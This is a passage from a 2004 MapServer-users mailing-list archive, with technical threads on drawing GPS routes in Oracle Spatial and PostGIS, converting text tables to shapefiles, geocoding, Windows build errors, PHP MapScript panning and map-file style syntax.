mdsys.SDO_ORDINATE_ARRAY( *THE QUERY THAT RETURN THE POINTS FOR > LINE *)) as the_geom FROM table where id = XXXXX)" > 2002 - to define line > (1, 2, 1) - to define line > > Here I used this and work correctly: > data "shape from (select mdsys.SDO_GEOMETRY(2003, 82295, NULL, > mdsys.SDO_ELEM_INFO_ARRAY(1, 1003, 4), > mdsys.SDO_ORDINATE_ARRAY(667052.077, 7092501.44, 657052.077, > 7082501.44, 667052.077, 7072501.44)) as shape FROM fazendas where > codigo_int = 79284237)" > > I believe that this example can help you to define your query. > If you need some help you can report me. > > > ================================================================== > Fernando Simon - simon at cttmar.univali.br > ================================================================== > DataBase Manager, Mapserver, OracleSpatial Developer > G10 - Laborat??rio de Computac,a~o Aplicada > http://g10.cttmar.univali.br > ================================================================== > > > Fu Chen wrote: > >>Hi! >>I need to make a feature, that link gps points into line to render in mapserver. >>Vladimir Ilich Guzm??n R. suggest to use geometryfromtest feature in postgis to achieve it. >>It is something like >> >>$data=" >>the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' || >>(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where >>ant.gid>',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from >>gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time' >>AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1"; >>$layer=$map->getLayerByName("secuencia_gps"); >>$layer->set("data",$data); >> >>This method works in postgis. But this time I have to use oracle database. >>How can I achieve this feature in oracle spatial? Is there any oracle function I can use to replace geometryfromtext? >> >>Thanks! >> >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Vladimir >>Guzm??n >>Sent: Thursday, June 03, 2004 8:01 PM >>To: Fu Chen >>Cc: mapserver-users at lists.gis.umn.edu >>Subject: Re: [Mapserver-users] store and draw route >> >> >>Hello. >>We use postgis + phpmapscript, and is something like this: >> >>$data=" >>the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' || >>(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where >>ant.gid>',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from >>gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time' >>AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1"; >>$layer=$map->getLayerByName("secuencia_gps"); >>$layer->set("data",$data); >> >>Basically, what we do is a subquery to create a multilinestring from a >>point geometry. >> >>Hpe that helps, >> >>Vladimir Ilich Guzm??n R. >>------------------------ >>http://maintask.com >> >> >> >>Fu Chen wrote: >> >> >>>Hi! >>>I try to use mapserver and postgis to record and render the some mobile worker's route. >>>Those routes are record by a data table like (workorID, time, position). >>>In the webgis interface, we try to draw a route map by mapserver. >>>Queried by the workor's ID, the position is sort by the time. then these points is linked with a line. We would like to draw a circle(or other symbol) on the key point if it is possible. >>>I don't know how to write map file or mapscript to get the feature. >>>Anybody can give me some suggestion? >>>Thank you! >>> >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>> >>> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > --------------020704010408010600090804 Content-Type: text/html; charset=GB2312 Content-Transfer-Encoding: 8bit Hi,
    Sorry one more time for the delay to report you. Well, exist two ways to do this. One, by Mapscript, and other using plsql. I don't know but I believe that exist others ways to do this, but I don't know if can be more easy.
    The first, I worked using this, php-mapscript, is executing the query that return the points for line directly in php and store this return in a array, after implode this array to a string separated by comma and unsing this string inside the query. And after set the data for the layer using mapscript.
    The second is creating one plsql function that return the points to the second query. I never worked using this way.
    So, the way to return only the point x an y, by sql
in php is "select t.geom.sdo_point.x, t.geom.sdo_point.y from table t". This query return only X and Y from the points stored in geometry column. Look that you need to define one alias to the table.
    Sorry my poor english.
      

====================================================
Fernando Simon - simon at cttmar.univali.br
====================================================
DataBase Manager, Mapserver, OracleSpatial Developer
G10 - Laboratorio de Computacao Aplicada
http://g10.cttmar.univali.br
====================================================

Fernando Simon,
Thank you!
I think your suggestion work. But "THE QUERY THAT RETURN THE POINTS FOR LINE" seems doesn't accept statement like "select the_geom from gpsTable where route_id=xxx". How can translate the query result (points) into something SDO_ORDINATE_ARRAY will accept?
Is there any function in oracle spatial to do this work?
 
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Fernando S.
Sent: Monday, June 14, 2004 10:52 PM
To: Fu Chen; mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] geometryfromtext in orcale spatial?

Hi,
    Well, sorry to report you only now. I believe that you need to define the geometry column when you execute the query. I don't test this query, but I believe that work's. I already work with this way, and run correctly with mapserv.
    So try to use:
       data "the_geom from (select id, mdsys.SDO_GEOMETRY(2002, NULL, NULL, mdsys.SDO_ELEM_INFO_ARRAY(1, 2, 1), mdsys.SDO_ORDINATE_ARRAY( THE QUERY THAT RETURN THE POINTS FOR LINE )) as the_geom FROM table where id = XXXXX)"
    2002 - to define line
    (1, 2, 1) - to define line

    Here I used this and work correctly:
    data "shape from (select mdsys.SDO_GEOMETRY(2003, 82295, NULL, mdsys.SDO_ELEM_INFO_ARRAY(1, 1003, 4), mdsys.SDO_ORDINATE_ARRAY(667052.077, 7092501.44, 657052.077, 7082501.44, 667052.077, 7072501.44)) as shape FROM fazendas where codigo_int = 79284237)"

    I believe that this example can help you to define your query.
    If you need some help you can report me.


==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial Developer
G10 - Laborat??rio de Computação Aplicada
http://g10.cttmar.univali.br
==================================================================


Fu Chen wrote:
Hi!
I need to make a feature, that link gps points into line to render in mapserver.
Vladimir Ilich Guzm??n R. suggest to use geometryfromtest feature in postgis to achieve it. 
It is something like

$data="
the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' ||
(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where
ant.gid<act.gid and ant.id_vehi=$id_vehi order by gid desc limit 1) ||
',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from
gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time'
AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1";
$layer=$map->getLayerByName("secuencia_gps");
$layer->set("data",$data);

This method works in postgis. But this time I have to use oracle database.
How can I achieve this feature in oracle spatial? Is there any oracle function I can use to replace geometryfromtext?

Thanks!

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Vladimir
Guzm??n
Sent: Thursday, June 03, 2004 8:01 PM
To: Fu Chen
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] store and draw route


Hello.
We use postgis + phpmapscript, and is something like this:

$data="
the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' ||
(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where
ant.gid<act.gid and ant.id_vehi=$id_vehi order by gid desc limit 1) ||
',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from
gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time'
AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1";
$layer=$map->getLayerByName("secuencia_gps");
$layer->set("data",$data);

Basically, what we do is a subquery to create a multilinestring from a
point geometry.

Hpe that helps,

Vladimir Ilich Guzm??n R.
------------------------
http://maintask.com 



Fu Chen wrote:

Hi!
I try to use mapserver and postgis to record and render the some mobile worker's route.
Those routes are record by a data table like (workorID, time, position).
In the webgis interface, we try to draw a route map by mapserver.
Queried by the workor's ID, the position is sort by the time. then these points is linked with a line. We would like to draw a circle(or other symbol) on the key point if it is possible.
I don't know how to write map file or mapscript to get the feature.
Anybody can give me some suggestion?
Thank you!

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


 


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



--------------020704010408010600090804-- From Vincent.Troisi at colorado.edu Tue Jun 22 07:48:08 2004 From: Vincent.Troisi at colorado.edu (Vincent J. Troisi) Date: Tue, 22 Jun 2004 08:48:08 -0600 Subject: [Mapserver-users] adding input from ascii text file References: Message-ID: <40D846A8.8040703@colorado.edu> An example of a text file follows. The file is static (does not change). I prefer not to load the information into a database and, although the table could be modified, I prefer not to modify the table. Vince Site Latitude Longitude Easting Northing R701 41.9643` -93.6848 443253 4646040 R702 41.9542 -93.6407 446901 4644894 Tyler Mitchell wrote: >>What is the best method for adding features to a >>map from an ascii table? > > > Are they just point coordinate pairs? Are you looking to automate > grabbing the locations from the text file - i.e. as the file changes - or > will you accept a manual approach? Are you able to modify the structure > of the table if you need to or are you stuck with what you are given? > > Can you give us a sample of a few lines of the data? > > Tyler > > From Vincent.Troisi at colorado.edu Tue Jun 22 07:51:15 2004 From: Vincent.Troisi at colorado.edu (Vincent J. Troisi) Date: Tue, 22 Jun 2004 08:51:15 -0600 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage References: Message-ID: <40D84763.9040508@colorado.edu> What utility permits one to convert a table in an ascii text file to a shapefile? Thanks. David Bitner wrote: > It sounds like you have a list of addresses to geocode after which it will > be a static layer? > > If this is the case, one thing you could do is geocode all the addresses, > either by hand or by writing scripts to interact with one of the geocoders > mentioned before, to add an x and a y field to your table with the > addresses. You could then either convert that to a shapefile, or use the > display points from a table method that has been discussed on this list > before. > > You could then query these points the same as any other geographic layer. > > > -----Original Message----- > From: Ed Bourque [mailto:edbourque at hotmail.com] > Sent: Monday, June 21, 2004 4:37 PM > To: bitner at macnoise.com > Subject: RE: [Mapserver-users] free map server/mapping hundreds of > addresses on a webpage > > > Hello > > Thanks for your reply. Is there a way to get all of these geocoded > addresses onto a big US map (and regional, state maps) which could have > clickable points? > > Thanks > > Ed B > > > >>From: "David Bitner" >>To: "Ed Bourque" , >> >>Subject: RE: [Mapserver-users] free map server/mapping hundreds of >>addresses on a webpage >>Date: Mon, 21 Jun 2004 16:30:43 -0500 >> >>Three TIGER based geocoders are out there right now that I know of: >> >>The geocoder.us geocoder: >>http://geocoder.us/ >> >>The VegGIS geocoder: >>http://gis.vegcrew.net/ >> >>The google geocoder: >>http://dan.egnor.name/google.html >> >>*********************************** >>David W Bitner >>GIS Specialist >>Metropolitan Airports Comission >> >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Ed Bourque >>Sent: Monday, June 21, 2004 3:58 PM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] free map server/mapping hundreds of addresses >>on a webpage >> >> >>Hello >> >>I have only the following software (ArcView 3.x) and I would like to be >>able >>to geocode addresses and map these on a website. I thouht TIGER line data >>would be the best.... Which data and software would you recommend? >>Any help would be appreciated >> >>Ed B >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From bitner at macnoise.com Tue Jun 22 07:57:50 2004 From: bitner at macnoise.com (David Bitner) Date: Tue, 22 Jun 2004 09:57:50 -0500 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage In-Reply-To: <40D84763.9040508@colorado.edu> Message-ID: In ArcView 3.x you can use "add event theme" and then "save as shapefile" In ArcMap you can use "add xy data" and then export the data as a shapefile I'm not sure of any non-ESRI utilities. -----Original Message----- From: Vincent J. Troisi [mailto:vincent.troisi at colorado.edu] Sent: Tuesday, June 22, 2004 9:51 AM To: David Bitner Cc: Mapserver-Users at Lists. Gis. Umn. Edu; Ed Bourque Subject: Re: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage What utility permits one to convert a table in an ascii text file to a shapefile? Thanks. David Bitner wrote: > It sounds like you have a list of addresses to geocode after which it will > be a static layer? > > If this is the case, one thing you could do is geocode all the addresses, > either by hand or by writing scripts to interact with one of the geocoders > mentioned before, to add an x and a y field to your table with the > addresses. You could then either convert that to a shapefile, or use the > display points from a table method that has been discussed on this list > before. > > You could then query these points the same as any other geographic layer. > > > -----Original Message----- > From: Ed Bourque [mailto:edbourque at hotmail.com] > Sent: Monday, June 21, 2004 4:37 PM > To: bitner at macnoise.com > Subject: RE: [Mapserver-users] free map server/mapping hundreds of > addresses on a webpage > > > Hello > > Thanks for your reply. Is there a way to get all of these geocoded > addresses onto a big US map (and regional, state maps) which could have > clickable points? > > Thanks > > Ed B > > > >>From: "David Bitner" >>To: "Ed Bourque" , >> >>Subject: RE: [Mapserver-users] free map server/mapping hundreds of >>addresses on a webpage >>Date: Mon, 21 Jun 2004 16:30:43 -0500 >> >>Three TIGER based geocoders are out there right now that I know of: >> >>The geocoder.us geocoder: >>http://geocoder.us/ >> >>The VegGIS geocoder: >>http://gis.vegcrew.net/ >> >>The google geocoder: >>http://dan.egnor.name/google.html >> >>*********************************** >>David W Bitner >>GIS Specialist >>Metropolitan Airports Comission >> >>-----Original Message----- >>From: mapserver-users-admin at lists.gis.umn.edu >>[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Ed Bourque >>Sent: Monday, June 21, 2004 3:58 PM >>To: mapserver-users at lists.gis.umn.edu >>Subject: [Mapserver-users] free map server/mapping hundreds of addresses >>on a webpage >> >> >>Hello >> >>I have only the following software (ArcView 3.x) and I would like to be >>able >>to geocode addresses and map these on a website. I thouht TIGER line data >>would be the best.... Which data and software would you recommend? >>Any help would be appreciated >> >>Ed B >> >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From cpurvis at asg.sc.edu Tue Jun 22 08:06:23 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Tue, 22 Jun 2004 11:06:23 -0400 Subject: [Mapserver-users] MUM registrant list available? Message-ID: I'm the type of knucklehead who forgets to exchange business cards once the tables are bussed and it's time to go to the next workshop. Will a registrant list w/ institution affiliation be online and available soon? (Of course, in traditional knucklehead fashion, it might already be somewhere, but I just can't find it.) Thanks, Charlton Charlton Purvis (803) 777-8858 : voice (803) 777-3935 : fax cpurvis at sc.edu Baruch Institute University of South Carolina Columbia, SC 29208 From Tom.Kralidis at ec.gc.ca Tue Jun 22 08:15:02 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Tue, 22 Jun 2004 11:15:02 -0400 Subject: [Mapserver-users] free map server/mapping hundreds of addresses on a webpage Message-ID: <2576812186CDD411BF1500508B6DCE950736705A@ecnwri1.ontario.int.ec.gc.ca> Try using shapelib or Perl or PHP mapscript. ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > David Bitner > Sent: Tuesday, June 22, 2004 10:58 AM > To: Vincent.Troisi at colorado.edu > Cc: Mapserver-Users at Lists. Gis. Umn. Edu; Ed Bourque > Subject: RE: [Mapserver-users] free map server/mapping > hundreds of addresses on a webpage > > > In ArcView 3.x you can use "add event theme" and then "save > as shapefile" In ArcMap you can use "add xy data" and then > export the data as a shapefile > > I'm not sure of any non-ESRI utilities. > > > -----Original Message----- > From: Vincent J. Troisi [mailto:vincent.troisi at colorado.edu] > Sent: Tuesday, June 22, 2004 9:51 AM > To: David Bitner > Cc: Mapserver-Users at Lists. Gis. Umn. Edu; Ed Bourque > Subject: Re: [Mapserver-users] free map server/mapping > hundreds of addresses on a webpage > > > What utility permits one to convert a table in an ascii text > file to a shapefile? > > Thanks. > > > David Bitner wrote: > > It sounds like you have a list of addresses to geocode > after which it > > will be a static layer? > > > > If this is the case, one thing you could do is geocode all the > > addresses, either by hand or by writing scripts to interact > with one > > of the geocoders mentioned before, to add an x and a y > field to your > > table with the addresses. You could then either convert that to a > > shapefile, or use the display points from a table method > that has been > > discussed on this list before. > > > > You could then query these points the same as any other geographic > > layer. > > > > > > -----Original Message----- > > From: Ed Bourque [mailto:edbourque at hotmail.com] > > Sent: Monday, June 21, 2004 4:37 PM > > To: bitner at macnoise.com > > Subject: RE: [Mapserver-users] free map server/mapping hundreds of > > addresses on a webpage > > > > > > Hello > > > > Thanks for your reply. Is there a way to get all of these geocoded > > addresses onto a big US map (and regional, state maps) which could > > have clickable points? > > > > Thanks > > > > Ed B > > > > > > > >>From: "David Bitner" > >>To: "Ed Bourque" , > >> > >>Subject: RE: [Mapserver-users] free map server/mapping hundreds of > >>addresses on a webpage > >>Date: Mon, 21 Jun 2004 16:30:43 -0500 > >> > >>Three TIGER based geocoders are out there right now that I know of: > >> > >>The geocoder.us geocoder: > >>http://geocoder.us/ > >> > >>The VegGIS geocoder: > >>http://gis.vegcrew.net/ > >> > >>The google geocoder: > >>http://dan.egnor.name/google.html > >> > >>*********************************** > >>David W Bitner > >>GIS Specialist > >>Metropolitan Airports Comission > >> > >>-----Original Message----- > >>From: mapserver-users-admin at lists.gis.umn.edu > >>[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Ed > >>Bourque > >>Sent: Monday, June 21, 2004 3:58 PM > >>To: mapserver-users at lists.gis.umn.edu > >>Subject: [Mapserver-users] free map server/mapping hundreds > of addresses > >>on a webpage > >> > >> > >>Hello > >> > >>I have only the following software (ArcView 3.x) and I > would like to > >>be able to geocode addresses and map these on a website. I thouht > >>TIGER line data would be the best.... Which data and software would > >>you recommend? Any help would be appreciated > >> > >>Ed B > >> > >> > >>_______________________________________________ > >>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >> > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jubrilalao at yahoo.co.uk Tue Jun 22 08:16:41 2004 From: jubrilalao at yahoo.co.uk (=?iso-8859-1?q?Jubril=20Alao?=) Date: Tue, 22 Jun 2004 16:16:41 +0100 (BST) Subject: [Mapserver-users] new user Message-ID: <20040622151641.55279.qmail@web53510.mail.yahoo.com> --0-846753635-1087917401=:54568 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hi, I have just joined a company and I am required to learn Mapserver. pls can anyone guide me to a very basic tutorial which will take me through the essential concepts. I have no background in graphics although i am quite familiar with php. cheers, Jubril --------------------------------- ALL-NEW Yahoo! Messenger - sooooo many all-new ways to express yourself --0-846753635-1087917401=:54568 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: 8bit
Hi,
 
I have just joined a company and I am required to learn Mapserver.  pls can anyone guide me to a very basic tutorial which will take me through the essential concepts.  I have no background in graphics although i am  quite familiar with php.
 
cheers,
 
Jubril 


ALL-NEW Yahoo! Messenger - sooooo many all-new ways to express yourself --0-846753635-1087917401=:54568-- From Tom.Kralidis at ec.gc.ca Tue Jun 22 08:23:24 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Tue, 22 Jun 2004 11:23:24 -0400 Subject: [Mapserver-users] MUM registrant list available? Message-ID: <2576812186CDD411BF1500508B6DCE9506A83676@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Charlton Purvis > Sent: Tuesday, June 22, 2004 11:06 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] MUM registrant list available? > > > I'm the type of knucklehead who forgets to exchange business > cards once the tables are bussed and it's time to go to the > next workshop. Will a registrant list w/ institution > affiliation be online and available soon? > This happened to me too! This would be great to have online. > (Of course, in traditional knucklehead fashion, it might > already be somewhere, but I just can't find it.) > There's also a OGC:WMS/OGC:WFS online of the participants (those who agreed to have their names published), at: http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 Note that the URL above will not work as is -- you have to feed this into a WMS/WFS aware application. Cheers ..Tom > Thanks, > > Charlton > > > > > Charlton Purvis > (803) 777-8858 : voice > (803) 777-3935 : fax > cpurvis at sc.edu > > Baruch Institute > University of South Carolina > Columbia, SC 29208 > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From eric.belenfant at ac-orleans-tours.fr Tue Jun 22 08:11:25 2004 From: eric.belenfant at ac-orleans-tours.fr (Belenfant Eric) Date: Tue, 22 Jun 2004 17:11:25 +0200 Subject: [Mapserver-users] paning with reference map and PHP mapscript functions Message-ID: <40D84C1D.2020600@ac-orleans-tours.fr> Hi, I was wondering whether there is a built-in functionality in PHP MapScript for panning the main map via clicks in the reference map. The CGI version offers such a possibility with the variables 'ref.x' and 'ref.y'. I couldn't find a method like that in the PHP MapScript doumentation . eric -- eric BELENFANT *Tel* : 02.38.79.45.98 ------------------------ p?le SYSTEMES PARTAGES *DEP - rectorat d'Orl?ans-Tours* --------------------------------------------------- /Pour toute information sur la DEP ou pour obtenir des statistiques sur l'acad?mie, consultez la base de pilotage/ PILOT From assefa at dmsolutions.ca Tue Jun 22 08:25:25 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 22 Jun 2004 11:25:25 -0400 Subject: [Mapserver-users] MapServer Windows external symbol problem In-Reply-To: <6.1.0.6.2.20040621145201.01dd5918@hobu.mail.iastate.edu> References: <2A6FDD75AE04BE4A9E8C918D3C09FB070B3653@ptolemy.topozone.com> <6.1.0.6.2.20040621145201.01dd5918@hobu.mail.iastate.edu> Message-ID: <40D84F65.5060402@dmsolutions.ca> Sorry for the earlier message. I just saw this e-mail. I guess there is no issue anymore. Howard Butler wrote: > Ed, > > Under CVS MapServer, regex.obj is no longer available as a target. > Also, I was only building the regex.obj from GNU's regex and none of the > test harness. I later found a link to a message from Assefa that said > he uses PHP's regex. I rolled PHP into the mix and my regex problem > went away. > > Howard > > At 02:49 PM 6/21/2004, Ed McNierney wrote: > >> Howard - >> >> Add the target name "regex.obj" to the nmake command line - the errors >> come from trying to build the test applications, which you don't need. >> >> If you click on the first entry found by the Google search you emailed >> below, you'll find me saying the same thing . >> >> - Ed >> >> Ed McNierney >> President and Chief Mapmaker >> TopoZone.com >> -----Original Message----- >> From: mapserver-users-admin at lists.gis.umn.edu >> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Howard >> Butler >> Sent: Monday, June 21, 2004 3:17 PM >> To: assefa at dmsolutions.ca >> Cc: mapserver-users at lists.gis.umn.edu >> Subject: [Mapserver-users] MapServer Windows external symbol problem >> >> Assefa, >> >> I am trying to compile Windows MapServer, but I am having trouble >> getting regex to behave when it comes time to link. Apparently, many >> others have had trouble as well >> > ternal+symbol+_printchar&hl=en&lr=&ie=UTF-8&c2coff=1&start=10&sa=N&filte >> r=0>. >> >> Here is the link error: >> regex.obj : error LNK2001: unresolved external symbol _printchar >> >> I have tried every permutation of putting that symbol in the header, >> making sure it is extern'ed properly (in both the C file and the >> header), but I am having no luck. I grepped through my VC++ include >> files and my cygwin include files for that function prototype >> (printchar), but I cannot find it anywhere. >> >> If you have any ideas of other things I might try, I'd greatly >> appreciate it. >> >> Thanks >> >> Howard >> >> -------------------------------------------------------- >> Howard Butler >> Department of Statistics >> Center for Survey Statistics and Methodology Iowa State University >> 212 Snedecor Hall >> Ames, IA 50011 >> -------------------------------------------------------- >> http://hobu.biz >> -------------------------------------------------------- >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From assefa at dmsolutions.ca Tue Jun 22 08:23:44 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 22 Jun 2004 11:23:44 -0400 Subject: [Mapserver-users] MapServer Windows external symbol problem In-Reply-To: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> References: <6.1.0.6.2.20040621140855.01d4ef88@hobu.mail.iastate.edu> Message-ID: <40D84F00.4020300@dmsolutions.ca> I am using the regex files that come bundeled with PHP source code distribution (you have probably seen it in the nmake.opt a refernece to the regex directory phpxxx/regex). I never had any trouble with that (the lastet build being done with php4.3.7). Is it possible for you to give that a try ? Later, Howard Butler wrote: > Assefa, > > I am trying to compile Windows MapServer, but I am having trouble > getting regex to behave when it comes time to link. Apparently, many > others have had trouble as well > . > > > Here is the link error: > regex.obj : error LNK2001: unresolved external symbol _printchar > > I have tried every permutation of putting that symbol in the header, > making sure it is extern'ed properly (in both the C file and the > header), but I am having no luck. I grepped through my VC++ include > files and my cygwin include files for that function prototype > (printchar), but I cannot find it anywhere. > > If you have any ideas of other things I might try, I'd greatly > appreciate it. > > Thanks > > Howard > > -------------------------------------------------------- > Howard Butler > Department of Statistics > Center for Survey Statistics and Methodology > Iowa State University > 212 Snedecor Hall > Ames, IA 50011 > -------------------------------------------------------- > http://hobu.biz > -------------------------------------------------------- > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From dgadoury at dmsolutions.ca Tue Jun 22 08:36:55 2004 From: dgadoury at dmsolutions.ca (Dean Gadoury) Date: Tue, 22 Jun 2004 11:36:55 -0400 Subject: [Mapserver-users] MUM registrant list available? In-Reply-To: References: Message-ID: <40D85217.3050902@dmsolutions.ca> Hi Charlton, A list of registrants (who consented to share their info) will be available on the OSGIS website at http://omsug.ca/osgis2004/index.html soon. In the meantime if you're really keen and you don't mind parsing some GML you can get this information from our WFS service at: http://dev1.dmsolutions.ca/cgi-bin/mswfs_mum2?service=wfs&request=getfeature&version=1.0.0 I think there are about 172 registrants listed. Dean Charlton Purvis wrote: >I'm the type of knucklehead who forgets to exchange business cards once >the tables are bussed and it's time to go to the next workshop. Will a >registrant list w/ institution affiliation be online and available soon? > >(Of course, in traditional knucklehead fashion, it might already be >somewhere, but I just can't find it.) > >Thanks, > >Charlton > > > > >Charlton Purvis >(803) 777-8858 : voice >(803) 777-3935 : fax >cpurvis at sc.edu > >Baruch Institute >University of South Carolina >Columbia, SC 29208 > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > -- ___________________________ Dean Gadoury DM Solutions Group 30 Rosemount Ave. Suite 200 Ottawa, Ontario. K1Y 1P4 613.565.5056 ext. 24 dgadoury at dmsolutions.ca www.dmsolutions.ca From eric at gomoos.org Tue Jun 22 09:11:42 2004 From: eric at gomoos.org (Eric Bridger) Date: 22 Jun 2004 12:11:42 -0400 Subject: [Mapserver-users] paning with reference map and PHP mapscript functions In-Reply-To: <40D84C1D.2020600@ac-orleans-tours.fr> References: <40D84C1D.2020600@ac-orleans-tours.fr> Message-ID: <1087920708.10119.61.camel@ubet.gomoos.org> On Tue, 2004-06-22 at 11:11, Belenfant Eric wrote: > Hi, > > I was wondering whether there is a built-in functionality in PHP MapScript > for panning the main map via clicks in the reference map. The CGI version > offers such a possibility with the variables 'ref.x' and 'ref.y'. I couldn't > find a method like that in the PHP MapScript doumentation . > > eric > I don't believe it exists. There is a perl example which I put in the Mapserver Wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex17 which should be easily adapted to PHP. It's based on the 3.6 C code in maptemplate.c::setExtent() case FROMREFPT but requires that your map and reference map have the same aspect ratio. Eric www.gomoos.org From steve.lime at dnr.state.mn.us Tue Jun 22 07:56:48 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 22 Jun 2004 09:56:48 -0500 Subject: [Mapserver-users] possible cause of rendering problems Message-ID: I would agree with Bart, folks should move to styles. You certainly don't want to mix and match old and new syntax... Steve >>> 6/22/2004 8:36:37 AM >>> Hi list, we had some rendering problems in which we would have around 10 classes in a LAYER. Not all of the polygon outlines would be drawn. The problem was caused by using the following CLASS syntax: CLASS EXPRESSION /654[23]/ NAME "dok" COLOR 255 255 255 STYLE SYMBOL 0 OUTLINECOLOR 255 0 0 SIZE 2 END 